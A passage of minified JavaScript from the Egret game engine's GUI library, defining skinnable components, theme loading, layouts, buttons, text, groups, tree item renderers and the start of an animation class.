Error("addChild()"+e.errorStr+"addElement()\u4ee3\u66ff")};e.prototype.addChildAt=function(g,f){throw Error("addChildAt()"+e.errorStr+"addElementAt()\u4ee3\u66ff")};e.prototype.removeChild=function(f){throw Error("removeChild()"+e.errorStr+"removeElement()\u4ee3\u66ff")};e.prototype.removeChildAt=function(f){throw Error("removeChildAt()"+e.errorStr+"removeElementAt()\u4ee3\u66ff")};e.prototype.setChildIndex=function(g,f){throw Error("setChildIndex()"+e.errorStr+"setElementIndex()\u4ee3\u66ff")};e.prototype.swapChildren=function(g,f){throw Error("swapChildren()"+e.errorStr+"swapElements()\u4ee3\u66ff")};e.prototype.swapChildrenAt=function(g,f){throw Error("swapChildrenAt()"+e.errorStr+"swapElementsAt()\u4ee3\u66ff")};e.errorStr="\u5728\u6b64\u7ec4\u4ef6\u4e2d\u4e0d\u53ef\u7528\uff0c\u82e5\u6b64\u7ec4\u4ef6\u4e3a\u5bb9\u5668\u7c7b\uff0c\u8bf7\u4f7f\u7528";return e}(d.UIComponent);d.SkinnableComponent=b;b.prototype.__class__="egret.gui.SkinnableComponent"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(){}c.prototype.getSkin=function(f,g){if(!f){return null}if(f.prototype){return new f}if("string"==typeof f){var e=a.getDefinitionByName(f);return e?new e:null}return f};return c}();d.DefaultSkinAdapter=b;b.prototype.__class__="egret.gui.DefaultSkinAdapter"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(){}c.prototype.getAsset=function(g,k,e,l){var j=g;g.prototype&&(j=new g);if(j instanceof a.DisplayObject||j instanceof a.Texture){k.call(e,j,g)}else{if("string"==typeof g){var i=new a.URLLoader;i.dataFormat=a.URLLoaderDataFormat.TEXTURE;i.addEventListener(a.Event.COMPLETE,function(f){j=i.data;k.call(e,j,g)},this);i.load(new a.URLRequest(g))}else{k.call(e,j,g)}}};return c}();d.DefaultAssetAdapter=b;b.prototype.__class__="egret.gui.DefaultAssetAdapter"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(e){this.delyList=[];this.loadConfig(e)}c.load=function(e){this.initialized||(this.initialized=!0,d.SkinnableComponent._defaultTheme=new c(e))};c.prototype.loadConfig=function(e){var f=new a.URLLoader;f.addEventListener(a.Event.COMPLETE,this.onLoadComplete,this);f.addEventListener(a.IOErrorEvent.IO_ERROR,this.onLoadError,this);f.dataFormat=a.URLLoaderDataFormat.TEXT;f.load(new a.URLRequest(e))};c.prototype.onLoadComplete=function(e){e=e.target;try{this.skinMap=JSON.parse(e.data).skins}catch(f){a.Logger.warning("JSON\u6587\u4ef6\u683c\u5f0f\u4e0d\u6b63\u786e: "+e._request.url+"\ndata:"+e.data)}this.handleDelyList()};c.prototype.onLoadError=function(e){a.Logger.warning("\u4e3b\u9898\u914d\u7f6e\u6587\u4ef6\u52a0\u8f7d\u5931\u8d25: "+e.target._request.url);this.handleDelyList()};c.prototype.handleDelyList=function(){if(this.skinMap){var g=this.delyList;this.delyList=[];for(var i=g.length,f=0;f<i;f++){var j=g[f];if(!j._skin){var h=this.getDefaultSkin(j);j._setSkin(h)}}}else{this.skinMap={},this.delyList=[]}};c.prototype.getDefaultSkin=function(e){var f=this.skinMap;if(!f){return -1==this.delyList.indexOf(e)&&this.delyList.push(e),null}e=f[e.hostComponentKey];return e?(f=a.getDefinitionByName(e))?new f:(a.Logger.warning("\u627e\u4e0d\u5230\u4e3b\u9898\u4e2d\u6240\u914d\u7f6e\u7684\u76ae\u80a4\u7c7b\u540d: "+e),null):null};c.initialized=!1;return c}();d.Theme=b;b.prototype.__class__="egret.gui.Theme"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this)}__extends(e,c);Object.defineProperty(e.prototype,"target",{get:function(){return this._target},set:function(f){this._target=f},enumerable:!0,configurable:!0});e.prototype.measure=function(){if(null!=this.target){for(var t=0,w=0,v=this._target,u=v.numElements,r=0;r<u;r++){var p=v.getElementAt(r);if(p&&p.includeInLayout){var o=p.horizontalCenter,j=p.verticalCenter,i=p.left,g=p.right,h=p.top,x=p.bottom;isNaN(i)||isNaN(g)?isNaN(o)?isNaN(i)&&isNaN(g)?o=p.preferredX:(o=isNaN(i)?0:i,o+=isNaN(g)?0:g):o=2*Math.abs(o):o=i+g;isNaN(h)||isNaN(x)?isNaN(j)?isNaN(h)&&isNaN(x)?j=p.preferredY:(j=isNaN(h)?0:h,j+=isNaN(x)?0:x):j=2*Math.abs(j):j=h+x;x=p.preferredHeight;t=Math.ceil(Math.max(t,o+p.preferredWidth));w=Math.ceil(Math.max(w,j+x))}}this.target.measuredWidth=t;this.target.measuredHeight=w}};e.prototype.updateDisplayList=function(t,B){if(null!=this.target){for(var z=this.target.numElements,u=0;u<z;u++){var r=this.target.getElementAt(u);if(null!=r&&r.includeInLayout){var p=r.horizontalCenter,o=r.verticalCenter,j=r.left,i=r.right,g=r.top,h=r.bottom,D=r.percentWidth,A=r.percentHeight,v=NaN,C=NaN;isNaN(j)||isNaN(i)?isNaN(D)||(v=Math.round(t*Math.min(0.01*D,1))):v=t-i-j;isNaN(g)||isNaN(h)?isNaN(A)||(C=Math.round(B*Math.min(0.01*A,1))):C=B-h-g;r.setLayoutBoundsSize(v,C);D=r.layoutBoundsWidth;A=r.layoutBoundsHeight;v=isNaN(p)?isNaN(j)?isNaN(i)?r.layoutBoundsX:t-D-i:j:Math.round((t-D)/2+p);C=isNaN(o)?isNaN(g)?isNaN(h)?r.layoutBoundsY:B-A-h:g:Math.round((B-A)/2+o);r.setLayoutBoundsPosition(v,C)}}}};return e}(a.HashObject);d.SkinBasicLayout=b;b.prototype.__class__="egret.gui.SkinBasicLayout"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._autoRepeat=this._downEventFired=!1;this._repeatInterval=this._repeatDelay=35;this._keepDown=this._hovered=!1;this._label="";this.touchChildren=this._stickyHighlighting=this._mouseCaptured=!1;this.addHandlers()}__extends(e,c);Object.defineProperty(e.prototype,"autoRepeat",{get:function(){return this._autoRepeat},set:function(f){f!=this._autoRepeat&&(this._autoRepeat=f,this.checkAutoRepeatTimerConditions(this.isDown()))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"repeatDelay",{get:function(){return this._repeatDelay},set:function(f){this._repeatDelay=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"repeatInterval",{get:function(){return this._repeatInterval},set:function(f){this._repeatInterval=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"hovered",{get:function(){return this._hovered},set:function(f){f!=this._hovered&&(this._hovered=f,this.invalidateSkinState(),this.checkButtonDownConditions())},enumerable:!0,configurable:!0});e.prototype._setKeepDown=function(f){this._keepDown!=f&&(this._keepDown=f,this.invalidateSkinState())};Object.defineProperty(e.prototype,"label",{get:function(){return this._getLabel()},set:function(f){this._setLabel(f)},enumerable:!0,configurable:!0});e.prototype._getLabel=function(){return this.labelDisplay?this.labelDisplay.text:this._label};e.prototype._setLabel=function(f){this._label=f;this.labelDisplay&&(this.labelDisplay.text=f)};Object.defineProperty(e.prototype,"mouseCaptured",{get:function(){return this._mouseCaptured},set:function(f){f!=this._mouseCaptured&&(this._mouseCaptured=f,this.invalidateSkinState(),f||this.removeStageMouseHandlers(),this.checkButtonDownConditions())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"stickyHighlighting",{get:function(){return this._stickyHighlighting},set:function(f){f!=this._stickyHighlighting&&(this._stickyHighlighting=f,this.invalidateSkinState(),this.checkButtonDownConditions())},enumerable:!0,configurable:!0});e.prototype.checkButtonDownConditions=function(){var f=this.isDown();this._downEventFired!=f&&(f&&d.UIEvent.dispatchUIEvent(this,d.UIEvent.BUTTON_DOWN),this._downEventFired=f,this.checkAutoRepeatTimerConditions(f))};e.prototype.addHandlers=function(){this.addEventListener(a.TouchEvent.TOUCH_ROLL_OVER,this.mouseEventHandler,this);this.addEventListener(a.TouchEvent.TOUCH_ROLL_OUT,this.mouseEventHandler,this);this.addEventListener(a.TouchEvent.TOUCH_BEGIN,this.mouseEventHandler,this);this.addEventListener(a.TouchEvent.TOUCH_END,this.mouseEventHandler,this);this.addEventListener(a.TouchEvent.TOUCH_TAP,this.mouseEventHandler,this)};e.prototype.addStageMouseHandlers=function(){d.UIGlobals.stage.addEventListener(a.TouchEvent.TOUCH_END,this.stage_mouseUpHandler,this);d.UIGlobals.stage.addEventListener(a.Event.LEAVE_STAGE,this.stage_mouseUpHandler,this)};e.prototype.removeStageMouseHandlers=function(){d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_END,this.stage_mouseUpHandler,this);d.UIGlobals.stage.removeEventListener(a.Event.LEAVE_STAGE,this.stage_mouseUpHandler,this)};e.prototype.isDown=function(){return this.enabled?this.mouseCaptured&&(this.hovered||this.stickyHighlighting)?!0:!1:!1};e.prototype.checkAutoRepeatTimerConditions=function(f){f=this.autoRepeat&&f;f!=(null!=this.autoRepeatTimer)&&(f?this.startTimer():this.stopTimer())};e.prototype.startTimer=function(){this.autoRepeatTimer=new a.Timer(1);this.autoRepeatTimer.delay=this._repeatDelay;this.autoRepeatTimer.addEventListener(a.TimerEvent.TIMER,this.autoRepeat_timerDelayHandler,this);this.autoRepeatTimer.start()};e.prototype.stopTimer=function(){this.autoRepeatTimer.stop();this.autoRepeatTimer=null};e.prototype.mouseEventHandler=function(f){switch(f.type){case a.TouchEvent.TOUCH_ROLL_OVER:if(f.touchDown&&!this.mouseCaptured){break}this.hovered=!0;break;case a.TouchEvent.TOUCH_ROLL_OUT:this.hovered=!1;break;case a.TouchEvent.TOUCH_BEGIN:this.addStageMouseHandlers();a.InteractionMode.mode==a.InteractionMode.TOUCH&&(this.hovered=!0);this.mouseCaptured=!0;break;case a.TouchEvent.TOUCH_END:f.target==this&&(this.hovered=!0,this.mouseCaptured&&(this.buttonReleased(),this.mouseCaptured=!1));break;case a.TouchEvent.TOUCH_TAP:this.enabled?this.clickHandler(f):f.stopImmediatePropagation()}};e.prototype.buttonReleased=function(){};e.prototype.clickHandler=function(f){};e.prototype.stage_mouseUpHandler=function(f){f.target!=this&&(this.mouseCaptured=!1)};e.prototype.autoRepeat_timerDelayHandler=function(f){this.autoRepeatTimer.reset();this.autoRepeatTimer.removeEventListener(a.TimerEvent.TIMER,this.autoRepeat_timerDelayHandler,this);this.autoRepeatTimer.delay=this._repeatInterval;this.autoRepeatTimer.addEventListener(a.TimerEvent.TIMER,this.autoRepeat_timerHandler,this);this.autoRepeatTimer.start()};e.prototype.autoRepeat_timerHandler=function(f){d.UIEvent.dispatchUIEvent(this,d.UIEvent.BUTTON_DOWN)};e.prototype.getCurrentSkinState=function(){return this.enabled?this.isDown()||this._keepDown?"down":a.InteractionMode.mode==a.InteractionMode.MOUSE&&(this.hovered||this.mouseCaptured)?"over":"up":c.prototype.getCurrentSkinState.call(this)};e.prototype.partAdded=function(g,f){c.prototype.partAdded.call(this,g,f);f==this.labelDisplay&&(this.labelDisplay.text=this._label)};return e}(d.SkinnableComponent);d.ButtonBase=b;b.prototype.__class__="egret.gui.ButtonBase"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._autoSelected=!0}__extends(e,c);Object.defineProperty(e.prototype,"selected",{get:function(){return this._selected},set:function(f){this._setSelected(f)},enumerable:!0,configurable:!0});e.prototype._setSelected=function(f){f!=this._selected&&(this._selected=f,d.UIEvent.dispatchUIEvent(this,d.UIEvent.VALUE_COMMIT),this.invalidateSkinState())};e.prototype.getCurrentSkinState=function(){return this.selected?c.prototype.getCurrentSkinState.call(this)+"AndSelected":c.prototype.getCurrentSkinState.call(this)};e.prototype.buttonReleased=function(){c.prototype.buttonReleased.call(this);this._autoSelected&&this.enabled&&(this.selected=!this.selected,this.dispatchEventWith(a.Event.CHANGE))};return e}(d.ButtonBase);d.ToggleButtonBase=b;b.prototype.__class__="egret.gui.ToggleButtonBase"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._fontFamily="SimSun";this._size=30;this._textAlign=a.HorizontalAlign.LEFT;this._verticalAlign=a.VerticalAlign.TOP;this._lineSpacing=0;this._textColor=16777215;this._text=""}__extends(e,c);Object.defineProperty(e.prototype,"fontFamily",{get:function(){return this._fontFamily},set:function(f){this._fontFamily!=f&&(this._fontFamily=f,this.fontFamilyChanged=!0,this.invalidateProperties(),this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"size",{get:function(){return this._size},set:function(f){this._size!=f&&(this._size=f,this.sizeChanged=!0,this.invalidateProperties(),this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"bold",{get:function(){return this._bold},set:function(f){this._bold!=f&&(this._bold=f,this.boldChanged=!0,this.invalidateProperties(),this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"italic",{get:function(){return this._italic},set:function(f){this._italic!=f&&(this._italic=f,this.italicChanged=!0,this.invalidateProperties(),this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"textAlign",{get:function(){return this._textAlign},set:function(f){this._textAlign!=f&&(this._textAlign=f,this.textAlignChanged=!0,this.invalidateProperties(),this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"verticalAlign",{get:function(){return this._verticalAlign},set:function(f){this._verticalAlign!=f&&(this._verticalAlign=f,this.verticalAlignChanged=!0,this.invalidateProperties(),this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"lineSpacing",{get:function(){return this._lineSpacing},set:function(f){this._lineSpacing!=f&&(this._lineSpacing=f,this.lineSpacingChanged=!0,this.invalidateProperties(),this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"textColor",{get:function(){return this._textColor},set:function(f){this._textColor!=f&&(this._textColor=f,this.textColorChanged=!0,this.invalidateProperties())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"text",{get:function(){return this._text},set:function(f){f!=this._text&&(this._text=f,this._textChanged=!0,this.invalidateProperties(),this.invalidateSize(),this.invalidateDisplayList())},enumerable:!0,configurable:!0});e.prototype.createChildren=function(){c.prototype.createChildren.call(this);this._textField||this.checkTextField()};e.prototype.commitProperties=function(){c.prototype.commitProperties.call(this);this._textField||this.checkTextField();this.fontFamilyChanged&&(this._textField.fontFamily=this._fontFamily,this.fontFamilyChanged=!1);this.sizeChanged&&(this._textField.size=this._size,this.sizeChanged=!1);this.boldChanged&&(this._textField.bold=this._bold,this.boldChanged=!1);this.italic&&(this._textField.italic=this._italic,this.italicChanged=!1);this.textAlignChanged&&(this._textField.textAlign=this._textAlign,this.textAlignChanged=!1);this.verticalAlignChanged&&(this._textField.verticalAlign=this._verticalAlign,this.verticalAlignChanged=!1);this.lineSpacingChanged&&(this._textField.lineSpacing=this._lineSpacing,this.lineSpacingChanged=!1);this.textColorChanged&&(this._textField.textColor=this._textColor,this.textColorChanged=!1);this._textChanged&&(this._textField.text=this._text,this._textChanged=!1)};e.prototype.checkTextField=function(){this._textField||(this.createTextField(),this._textField.text=this._text,this._textChanged=!0,this.invalidateProperties())};e.prototype.createTextField=function(){this._textField=new a.TextField;this._textField.fontFamily=this._fontFamily;this._textField.size=this._size;this._textField.textAlign=this._textAlign;this._textField.verticalAlign=this._verticalAlign;this._textField.lineSpacing=this._lineSpacing;this._textField.textColor=this._textColor;this._addToDisplayList(this._textField)};e.prototype.measure=function(){c.prototype.measure.call(this);this.measuredWidth=e.DEFAULT_MEASURED_WIDTH;this.measuredHeight=e.DEFAULT_MEASURED_HEIGHT};e.prototype.$updateDisplayList=function(g,f){c.prototype.updateDisplayList.call(this,g,f)};e.prototype.updateDisplayList=function(g,f){c.prototype.updateDisplayList.call(this,g,f);this._textField.width=g;this._textField.height=f};e.DEFAULT_MEASURED_WIDTH=160;e.DEFAULT_MEASURED_HEIGHT=22;return e}(d.UIComponent);d.TextBase=b;b.prototype.__class__="egret.gui.TextBase"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._contentHeight=this._contentWidth=0;this._clipAndEnableScrolling=!1;this._verticalScrollPosition=this._horizontalScrollPosition=0;this.touchEnabled=this._layoutInvalidateSizeFlag=this._layoutInvalidateDisplayListFlag=!1}__extends(e,c);e.prototype.createChildren=function(){c.prototype.createChildren.call(this);this._layout||(this.layout=new d.BasicLayout)};Object.defineProperty(e.prototype,"contentWidth",{get:function(){return this._contentWidth},enumerable:!0,configurable:!0});e.prototype.setContentWidth=function(g){if(g!=this._contentWidth){var f=this._contentWidth;this._contentWidth=g;this.hasEventListener("propertyChange")&&d.PropertyChangeEvent.dispatchPropertyChangeEvent(this,d.PropertyChangeEventKind.UPDATE,"contentWidth",f,g,this)}};Object.defineProperty(e.prototype,"contentHeight",{get:function(){return this._contentHeight},enumerable:!0,configurable:!0});e.prototype.setContentHeight=function(g){if(g!=this._contentHeight){var f=this._contentHeight;this._contentHeight=g;this.hasEventListener("propertyChange")&&d.PropertyChangeEvent.dispatchPropertyChangeEvent(this,d.PropertyChangeEventKind.UPDATE,"contentHeight",f,g,this)}};e.prototype.setContentSize=function(g,f){if(g!=this._contentWidth||f!=this._contentHeight){this.setContentWidth(g),this.setContentHeight(f)}};Object.defineProperty(e.prototype,"layout",{get:function(){return this._layout},set:function(f){this._setLayout(f)},enumerable:!0,configurable:!0});e.prototype._setLayout=function(f){if(this._layout!=f){this._layout&&(this._layout.target=null);if(this._layout=f){this._layout.target=this}this.invalidateSize();this.invalidateDisplayList();this.dispatchEventWith("layoutChanged")}};Object.defineProperty(e.prototype,"clipAndEnableScrolling",{get:function(){return this._clipAndEnableScrolling},set:function(f){f!=this._clipAndEnableScrolling&&(this.scrollRect=(this._clipAndEnableScrolling=f)?new a.Rectangle(this._horizontalScrollPosition,this._verticalScrollPosition,this.width,this.height):null)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"horizontalScrollPosition",{get:function(){return this._horizontalScrollPosition},set:function(g){if(g!=this._horizontalScrollPosition){var f=this._horizontalScrollPosition;this._horizontalScrollPosition=g;this.scrollPositionChanged();d.PropertyChangeEvent.dispatchPropertyChangeEvent(this,d.PropertyChangeEventKind.UPDATE,"horizontalScrollPosition",f,g,this)}},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"verticalScrollPosition",{get:function(){return this._verticalScrollPosition},set:function(g){if(g!=this._verticalScrollPosition){var f=this._verticalScrollPosition;this._verticalScrollPosition=g;this.scrollPositionChanged();d.PropertyChangeEvent.dispatchPropertyChangeEvent(this,d.PropertyChangeEventKind.UPDATE,"verticalScrollPosition",f,g,this)}},enumerable:!0,configurable:!0});e.prototype.scrollPositionChanged=function(){this._clipAndEnableScrolling&&(this.updateScrollRect(this.width,this.height),this._invalidateDisplayListExceptLayout(),this._layout&&this._layout.scrollPositionChanged())};e.prototype.updateScrollRect=function(h,g){var f=this._scrollRect;this._clipAndEnableScrolling?f?(f.x=this._horizontalScrollPosition,f.y=this._verticalScrollPosition,f.width=h,f.height=g):this._scrollRect=new a.Rectangle(this._horizontalScrollPosition,this._verticalScrollPosition,h,g):f&&(this._scrollRect=null)};e.prototype.measure=function(){this._layout&&this._layoutInvalidateSizeFlag&&(c.prototype.measure.call(this),this._layout.measure())};e.prototype._invalidateDisplayListExceptLayout=function(){c.prototype.invalidateDisplayList.call(this)};e.prototype.invalidateDisplayList=function(){c.prototype.invalidateDisplayList.call(this);this._layoutInvalidateDisplayListFlag=!0};e.prototype._childXYChanged=function(){this.invalidateSize();this.invalidateDisplayList()};e.prototype._invalidateSizeExceptLayout=function(){c.prototype.invalidateSize.call(this)};e.prototype.invalidateSize=function(){c.prototype.invalidateSize.call(this);this._layoutInvalidateSizeFlag=!0};e.prototype.updateDisplayList=function(g,f){c.prototype.updateDisplayList.call(this,g,f);this._layoutInvalidateDisplayListFlag&&this._layout&&(this._layoutInvalidateDisplayListFlag=!1,this._layout.updateDisplayList(g,f),this.updateScrollRect(g,f))};Object.defineProperty(e.prototype,"numElements",{get:function(){return -1},enumerable:!0,configurable:!0});e.prototype.getElementAt=function(f){return null};e.prototype.getElementIndex=function(f){return -1};e.prototype.getElementIndicesInView=function(){var h=[],g;if(this.scrollRect){for(g=0;g<this.numChildren;g++){var f=this.getChildAt(g);if(f){var i=new a.Rectangle;i.x=f.layoutBoundsX;i.y=f.layoutBoundsY;i.width=f.layoutBoundsWidth;i.height=f.layoutBoundsHeight;this.scrollRect.intersects(i)&&h.push(g)}}}else{for(g=0;g<this.numChildren;g++){h.push(g)}}return h};e.prototype.setVirtualElementIndicesInView=function(g,f){};e.prototype.getVirtualElementAt=function(f){return this.getElementAt(f)};return e}(d.UIComponent);d.GroupBase=b;b.prototype.__class__="egret.gui.GroupBase"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._selected=this.dataChangedFlag=!1;this._itemIndex=-1;this.touchChildren=!0}__extends(e,c);Object.defineProperty(e.prototype,"data",{get:function(){return this._data},set:function(f){this._data=f;this.initialized||this.parent?(this.dataChangedFlag=!1,this.dataChanged()):(this.dataChangedFlag=!0,this.invalidateProperties())},enumerable:!0,configurable:!0});e.prototype.dataChanged=function(){};Object.defineProperty(e.prototype,"selected",{get:function(){return this._selected},set:function(f){this._selected!=f&&(this._selected=f,this.invalidateSkinState())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"itemIndex",{get:function(){return this._itemIndex},set:function(f){this._itemIndex=f},enumerable:!0,configurable:!0});e.prototype.commitProperties=function(){c.prototype.commitProperties.call(this);this.dataChangedFlag&&(this.dataChangedFlag=!1,this.dataChanged())};e.prototype.getCurrentSkinState=function(){return this._selected?"down":c.prototype.getCurrentSkinState.call(this)};return e}(d.ButtonBase);d.ItemRenderer=b;b.prototype.__class__="egret.gui.ItemRenderer"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._indentation=17;this._depth=0;this._isOpen=this._hasChildren=!1;this.addEventListener(a.TouchEvent.TOUCH_BEGIN,this.onItemMouseDown,this,!1,1000)}__extends(e,c);e.prototype.onItemMouseDown=function(f){f.target==this.disclosureButton&&f.stopImmediatePropagation()};Object.defineProperty(e.prototype,"indentation",{get:function(){return this._indentation},set:function(f){this._indentation=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"iconSkinName",{get:function(){return this._iconSkinName},set:function(f){this._iconSkinName!=f&&(this._iconSkinName=f,this.iconDisplay&&(this.iconDisplay.source=this._iconSkinName))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"depth",{get:function(){return this._depth},set:function(f){f!=this._depth&&(this._depth=f,this.contentGroup&&(this.contentGroup.x=this._depth*this._indentation))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"hasChildren",{get:function(){return this._hasChildren},set:function(f){this._hasChildren!=f&&(this._hasChildren=f,this.disclosureButton&&(this.disclosureButton.visible=this._hasChildren))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"opened",{get:function(){return this._isOpen},set:function(f){this._isOpen!=f&&(this._isOpen=f,this.disclosureButton&&(this.disclosureButton.selected=this._isOpen))},enumerable:!0,configurable:!0});e.prototype.partAdded=function(g,f){c.prototype.partAdded.call(this,g,f);f==this.iconDisplay?this.iconDisplay.source=this._iconSkinName:f==this.disclosureButton?(this.disclosureButton.visible=this._hasChildren,this.disclosureButton.selected=this._isOpen,this.disclosureButton._autoSelected=!1,this.disclosureButton.addEventListener(a.TouchEvent.TOUCH_BEGIN,this.disclosureButton_mouseDownHandler,this)):f==this.contentGroup&&(this.contentGroup.x=this._depth*this._indentation)};e.prototype.partRemoved=function(g,f){c.prototype.partRemoved.call(this,g,f);f==this.iconDisplay?this.iconDisplay.source=null:f==this.disclosureButton&&(this.disclosureButton.removeEventListener(a.TouchEvent.TOUCH_BEGIN,this.disclosureButton_mouseDownHandler,this),this.disclosureButton._autoSelected=!0,this.disclosureButton.visible=!0)};e.prototype.disclosureButton_mouseDownHandler=function(f){d.TreeEvent.dispatchTreeEvent(this,d.TreeEvent.ITEM_OPENING,this.itemIndex,this.data,this,!this._isOpen)};return e}(d.ItemRenderer);d.TreeItemRenderer=b;b.prototype.__class__="egret.gui.TreeItemRenderer"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(e,f){this.easerFunction=a.Ease.sineInOut;this._duration=500;this._startDelay=0;this._repeatCount=1;this._repeatDelay=0;this.motionPaths=[];this._currentValue={};this.pauseTime=0;this._isPaused=!1;this.startTime=0;this._started=!1;this.playedTimes=0;this.updateFunction=e;this.thisObject=f}Object.defineProperty(c.prototype,"isPlaying",{get:function(){return this._isPlaying},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"duration",{get:function(){return this._duration},set:function(e){this._duration=e},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"startDelay",{get:function(){return this._startDelay},set:function(e){this._startDelay=e},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"repeatCount",{get:function(){return this._repeatCount},set:function(e){this._repeatCount=e},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"repeatDelay",{get:function(){return this._repeatDelay},set:function(e){this._repeatDelay=e},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"currentValue",{get:function(){return this._currentValue},enumerable:!0,configurable:!0});c.prototype.play=function(){this.stopAnimation();this.start()};c.prototype.seek=function(e){e=Math.min(e,this.duration);this.caculateCurrentValue(e/this.duration);this.startTime=a.getTimer()-e-this._startDelay;null!=this.updateFunction&&this.updateFunction.call(this.thisObject,this)};c.prototype.start=function(){this.playedTimes=0;this._started=!0;this._isPlaying=!1;this._currentValue={};this.caculateCurrentValue(0);this.startTime=a.getTimer();c.currentTime=this.startTime;this.doInterval();c.addAnimation(this)};c.prototype.end=function(){this._started||(this.caculateCurrentValue(0),null!=this.startFunction&&this.startFunction.call(this.thisObject,this),null!=this.updateFunction&&this.updateFunction.call(this.thisObject,this));this.caculateCurrentValue(1);null!=this.updateFunction&&this.updateFunction.call(this.thisObject,this);this.stopAnimation();null!=this.endFunction&&this.endFunction.call(this.thisObject,this)};c.prototype.stop=function(){this.stopAnimation();null!=this.stopFunction&&this.stopFunction.call(this.thisObject,this)};c.prototype.stopAnimation=function(){this.playedTimes=0;this._isPlaying=!1;this.startTime=0;this._started=!1;c.removeAnimation(this)};Object.defineProperty(c.prototype,"isPaused",{get:function(){return this._isPaused},enumerable:!0,configurable:!0});c.prototype.pause=function(){this._started&&(this._isPaused=!0,this.pauseTime=a.getTimer(),this._isPlaying=!1,c.removeAnimation(this))};c.prototype.resume=function(){this._started&&this._isPaused&&(this._isPaused=!1,this.startTime+=a.getTimer()-this.pauseTime,this.pauseTime=-1,c.addAnimation(this))};Object.defineProperty(c.prototype,"started",{get:function(){return this._started},enumerable:!0,configurable:!0});c.prototype.doInterval=function(){var e=c.currentTime-this.startTime-(0<this.playedTimes?this._repeatDelay:this._startDelay);if(0>e){return !1}this._isPlaying||(this._isPlaying=!0,0==this.playedTimes&&null!=this.startFunction&&this.startFunction.call(this.thisObject,this));var f=0==this._duration?1:Math.min(e,this._duration)/this._duration;this.caculateCurrentValue(f);null!=this.updateFunction&&this.updateFunction.call(this.thisObject,this);if(e=e>=this._duration){this.playedTimes++,this._isPlaying=!1,this.startTime=c.currentTime,0==this._repeatCount||this.playedTimes<this._repeatCount?e=!1:(c.removeAnimation(this),this._started=!1,this.playedTimes=0)}e&&null!=this.endFunction&&this.endFunction.call(this.thisObject,this);return e};c.prototype.caculateCurrentValue=function(g){this.easerFunction&&(g=this.easerFunction(g));for(var i=this.motionPaths,f=i.length,j=0;j<f;j++){var 